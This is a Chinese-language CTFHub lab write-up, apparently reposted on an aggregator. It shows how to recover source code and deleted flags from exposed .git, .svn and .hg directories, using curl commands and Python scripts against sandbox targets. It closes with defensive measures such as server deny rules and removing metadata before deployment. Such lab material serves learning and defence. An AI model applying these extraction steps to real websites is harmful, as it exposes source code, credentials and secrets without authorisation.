news 2026/9/28 21:07:07

版本控制信息泄露:Git / SVN / HG 泄露(CTFHub 题解)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
版本控制信息泄露:Git / SVN / HG 泄露(CTFHub 题解)

版本控制信息泄露:Git / SVN / HG 泄露(CTFHub 题解)

目录

  • 一、漏洞背景与原理
  • 二、通用探测思路
  • 三、Git 泄露 —— Stash
  • 四、Git 泄露 —— Index
  • 五、SVN 泄露
  • 六、HG(Mercurial)泄露
  • 七、修复与防御建议
  • 八、总结

一、漏洞背景与原理

现代 Web 开发中,开发者普遍使用版本控制系统(VCS)管理代码,并配合自动化部署把代码发布到线上。如果部署时直接把包含版本控制元数据的目录(.git/.svn/.hg)整体拷到服务器,攻击者就能通过 HTTP 访问这些元数据,进而还原出完整的源码、提交历史,甚至已经被删除的敏感文件(比如内含 flag 的旧版本)。

三类工具的元数据目录与核心数据:

工具元数据目录核心数据位置存储格式
Git.git/.git/objects/、.git/refs/、.git/indexloose object / pack
SVN.svn/.svn/wc.db、.svn/pristine/SQLite +.svn-base文件
Mercurial.hg/.hg/store/*.i、.hg/dirstate、.hg/store/fncacherevlog

共同危害:泄露源码 → 审计出更多漏洞 → 泄露数据库凭据、密钥、甚至已删除的历史敏感信息。

本文以 CTFHub 技能树「信息泄露」下的四道题为例,分别对应 Git 的 stash、Git 的 index、SVN 泄露、HG 泄露,逐步讲解手工利用过程。


二、通用探测思路

  1. 直接访问元数据入口,判断是否存在泄露:

    curlhttp://target/.git/HEAD# Gitcurlhttp://target/.svn/entries# SVNcurlhttp://target/.hg/requires# HG
  2. 不要只盯着「当前分支/当前版本」——flag 往往藏在以下这些"边角"里:

    版本控制容易漏掉的位置
    Gitrefs/stash、.git/index(暂存区)、reflog、ORIG_HEAD、FETCH_HEAD、dangling commit
    SVN.svn/pristine/(已删除文件的旧版本基文件)
    HG已删除文件的 revlog、store 路径编码后的文件
  3. 优先使用现成工具(GitHack、dvcs-ripper 等),工具失效时手工解析元数据格式。


三、Git 泄露 —— Stash

题目:Git 泄露,flag 在 stash 里。

目标:http://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/

3.1 探测

curlhttp://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/.git/HEAD# ref: refs/heads/mastercurlhttp://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/.git/COMMIT_EDITMSG# remove flag ← 提示 flag 被删了

3.2 枚举其它引用(关键)

只跟refs/heads/master走会漏掉 stash,枚举一下:

forpinrefs/heads/master refs/stash ORIG_HEAD FETCH_HEAD logs/HEAD;docode=$(curl-s-o/dev/null-w"%{http_code}""http://target/.git/$p")["$code"="200"]&&echo"$p=>$(curl-s"http://target/.git/$p")"done# refs/stash => e8530bc72d34a9fa3f82cab424d1d430d9bd597e

发现refs/stash存在,说明有人git stash过。

3.3 恢复仓库并取 flag

服务器是 dumb HTTP(git clone用不了、无 pack),需要按哈希递归下载 loose 对象。恢复后用git show看 stash:

gitlog--all--oneline--graph# * aa458f5 (HEAD -> master) remove flag# | * e8530bc (refs/stash) WIP on master: b97cced add flag# | * a63886c index on master: b97cced add flag# * b97cced add flag# * 9a6e719 initgitshow e8530bc# diff --cc 8230273932462.txt# --where is flag# ++ctfhub{a92a0ef374c4f4636c1f753c}

Flag:ctfhub{a92a0ef374c4f4636c1f753c}


四、Git 泄露 —— Index

题目:Git 泄露,提示 Index,flag 在暂存区。

目标:http://challenge-b6a59c6c52fffbea.sandbox.ctfhub.com:10800/

4.1 探测

curlhttp://target/.git/HEAD# ref: refs/heads/mastercurlhttp://target/.git/COMMIT_EDITMSG# add flag

COMMIT_EDITMSG写着add flag,看似 flag 在提交里,其实文件只被git add进了暂存区、从未 commit。

4.2 下载并解析.git/index

curlhttp://target/.git/index-oindex hexdump-Cindex

关键片段(文件名以 ASCII 明文存储,blob 哈希以 20 字节二进制紧跟其后):

00000070 00 00 00 00 00 00 00 21 d6 2d 23 17 33 cc 80 b7 |.......!.-#.3...| 00000080 4e f6 bc 20 88 72 83 09 02 6f df 4f 00 12 39 31 |N.. .r...o.O..91| 00000090 39 33 31 33 39 37 38 31 37 30 33 32 2e 74 78 74 |931397817032.txt|

解析出 index 里有三个文件,其中91931397817032.txt只在暂存区里,其 blob 哈希为:

d62d231733cc80b74ef6bc2088728309026fdf4f

4.3 按哈希下载 blob

curlhttp://target/.git/objects/d6/2d231733cc80b74ef6bc2088728309026fdf4f-oblob python3-c"import zlib; print(zlib.decompress(open('blob','rb').read()).decode())"# blob 33 ctfhub{7d4d92325f16ec2d9d83301f}

Flag:ctfhub{7d4d92325f16ec2d9d83301f}


五、SVN 泄露

题目:信息泄露 - Subversion,flag 在旧版本源码。

目标:http://challenge-5d9b532ce8b4ae0b.sandbox.ctfhub.com:10800/

5.1 探测

curlhttp://target/.svn/format# 12 → SVN 1.7+ 新格式,用 wc.dbcurlhttp://target/.svn/entries# 12curl-o/dev/null-w"%{http_code}"http://target/.svn/wc.db# 200

5.2 解析 wc.db(SQLite)

importsqlite3 c=sqlite3.connect('wc.db')c.row_factory=sqlite3.Rowforrinc.execute("SELECT local_relpath, revision, presence, checksum FROM NODES"):print(dict(r))forrinc.execute("SELECT * FROM PRISTINE"):print(dict(r))

结果:

== NODES == {'local_relpath': 'flag_5676395.txt', 'revision': 3, 'presence': 'not-present', ...} {'local_relpath': 'index.html', 'revision': 1, 'presence': 'normal', ...} == PRISTINE == {'checksum': '$sha1$5581a6f97c2796f3a5c82220696e0b70aa74e394', 'size': 33, 'refcount': 0, ...}

flag_5676395.txt的presence = not-present说明已被删除;PRISTINE 里size=33、refcount=0的孤儿基文件就是它(33 字节 = flag 长度)。

5.3 关键点:pristine 路径拼接

SVN 1.7+ 的 pristine 基文件路径:

.svn/pristine/<sha1前2位>/<完整40位sha1>.svn-base

注意:文件名是完整 40 位 SHA1(很多人会想当然拼成去掉前两位的 38 位,导致 404)。

sha1="5581a6f97c2796f3a5c82220696e0b70aa74e394"curl"http://target/.svn/pristine/${sha1:0:2}/${sha1}.svn-base"-oflagcatflag# ctfhub{1945ebd74279e548c0372f52}

Flag:ctfhub{1945ebd74279e548c0372f52}


六、HG(Mercurial)泄露

题目:信息泄露 - Mercurial,flag 在旧版本源码,工具不好使需手工。

目标:http://challenge-5c7c9a2c9fbee6dd.sandbox.ctfhub.com:10800/

6.1 探测

curlhttp://target/.hg/requires# dotencode/fncache/generaldelta/revlogv1/storecurlhttp://target/.hg/store/fncache# 受控文件清单curlhttp://target/.hg/dirstate# 工作副本状态

fncache列出三个文件,其中data/flag_757415441.txt.i是 flag 文件。dirstate里 flag 文件大小为0x21 = 33(正好 flag 长度)。

6.2 解析 changelog(提交历史)

Mercurial 用 revlog 格式:.i是索引,数据内联时紧跟索引条目,zlib 压缩的以78 9c开头。定位解压:

importzlib data=open('00changelog.i','rb').read()foriinrange(len(data)-1):ifdata[i]==0x78anddata[i+1]in(0x01,0x9c,0xda,0x5e):try:print(i,zlib.decompress(data[i:]).decode())except:pass

得到两个提交:init(50x.html + index.html)、add flag(新增 flag_757415441.txt)。

6.3 关键点①:store 路径编码(_→__)

按 fncache 的路径直接下载会 404:

curlhttp://target/.hg/store/data/flag_757415441.txt.i# 404

因为 Mercurial 的 store 会把文件名里的下划线_编码成双下划线__,实际路径是:

curlhttp://target/.hg/store/data/flag__757415441.txt.i-oflag.i# 200

6.4 关键点②:revlog 数据格式

flag.i共 98 字节 = 64 字节索引条目 + 34 字节内联数据。内联数据第一个字节0x75(字符u)是"未压缩"标记,后面紧跟文件内容:

data=open('flag.i','rb').read()print(repr(data[64:]))# b'uctfhub{988b88e848fa42a6c174b004}\n'

去掉u标记即 flag。

Flag:ctfhub{988b88e848fa42a6c174b004}


七、修复与防御建议

1. 部署时导出干净源码,不要直接拷贝工作目录

gitarchive--format=tar HEAD|(cd /var/www&&tarxf -)# Gitsvnexporthttps://svn.example.com/repo /var/www# SVNhgarchive /var/www# Mercurial

2. Web 服务器禁止访问版本控制目录

Nginx:

location ~ /\.(git|svn|hg) { deny all; }

Apache:

<DirectoryMatch "/\.(git|svn|hg)/"> Require all denied </DirectoryMatch>

3. 上线前删除元数据目录

find/var/www-typed\(-name.git-o-name.svn-o-name.hg\)-execrm-rf{}+

4. 敏感信息不要进版本库

  • 即使用git rm/svn delete删掉,历史/stash/暂存区里仍可被还原。
  • 密钥、密码等应使用环境变量或外部密钥管理系统,不要提交到代码库。

5. 定期做暴露面扫描

  • 用 dirsearch / ffuf 等工具扫描.git、.svn、.hg、.DS_Store等敏感路径。

八、总结

本文通过 CTFHub 的四道题,系统梳理了 Git / SVN / HG 三类版本控制泄露的原理与利用思路。核心要点:

  1. 别只盯当前版本:Git 的stash、index、reflog,SVN 的pristine,HG 的 revlog,都是 flag 的高发藏身处。
  2. 工具失效要会手工:Git 的 loose object 递归下载、SVN 的wc.db+ pristine 路径、HG 的 revlog 内联数据解析,都值得掌握。
  3. 元数据编码要留心:SVN pristine 文件名是完整 SHA1、HG 的_→__编码,是两道常见的"手工卡点"。

四题 Flag 汇总:

题目Flag
Git Stashctfhub{a92a0ef374c4f4636c1f753c}
Git Indexctfhub{7d4d92325f16ec2d9d83301f}
SVN 泄露ctfhub{1945ebd74279e548c0372f52}
HG 泄露ctfhub{988b88e848fa42a6c174b004}

安全提示:本文仅供学习交流,请勿用于未授权测试。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/28 21:06:28

MySQL数据库基础(3):库的操作

&#x1f338;雨落在了我的手上&#xff1a;个人主页 &#x1f41f;个人仓库&#xff1a;Gitee仓库 ❄️个人专栏&#xff1a;<<JaveSe>> <<C语言>> <<C语言数据结构>> <<Java数据结构 >> <<MySQL数据库基础 >>…

作者头像 李华
网站建设 2026/9/28 21:05:40

AI Agent知识获取管道:RAG检索增强生成从切片到检索的TypeScript实战

1. 为什么知识获取管道是 AI Agent 的分水岭很多人搭 AI Agent 的时候&#xff0c;第一反应是去调模型、写提示词、接工具&#xff0c;觉得只要模型够强、工具够多&#xff0c;Agent 就能干活。但真正跑过几个项目之后你会发现&#xff0c;决定一个 Agent 好不好用的&#xff0…

作者头像 李华
网站建设 2026/9/28 21:05:05

Redis大key删除把我坑惨了,分享这个血泪教训

凌晨三点&#xff0c;我盯着监控面板上持续飙高的Redis内存使用率&#xff0c;手心里全是汗——刚刚执行的DEL命令不仅没释放内存&#xff0c;反而让集群的QPS跌到了两位数。这是一次典型的「大key删除」事故&#xff0c;而背后的教训值得每个用过Redis的人警惕。 场景还原&…

作者头像 李华
网站建设 2026/9/28 21:04:38

AgentScope多智能体协作实战:消息传递、记忆机制与工程调优

多智能体系统这两年从论文里的概念一路卷到了工程落地&#xff0c;但真正让我愿意花时间写一篇长文来聊的框架并不多。AgentScope 算一个。第一次接触它是在一个需要把多个角色智能体编排起来完成复杂任务的项目里&#xff0c;当时试过几种方案&#xff0c;要么抽象太重、要么调…

作者头像 李华
网站建设 2026/9/28 21:04:32

告别复制粘贴!这款 Excel 小工具解放双手

做数据整理最烦反复复制拆分表格&#xff0c;今天安利一款 Excel 小助手&#xff0c;八大功能全是刚需。 表格转 TXT&#xff0c;Excel 内容一键转为文本文件&#xff1b; 一簿拆多簿&#xff0c;单个工作簿里的工作表快速拆分成多个独立文件&#xff1b; 批量替换 Word&#x…

作者头像 李华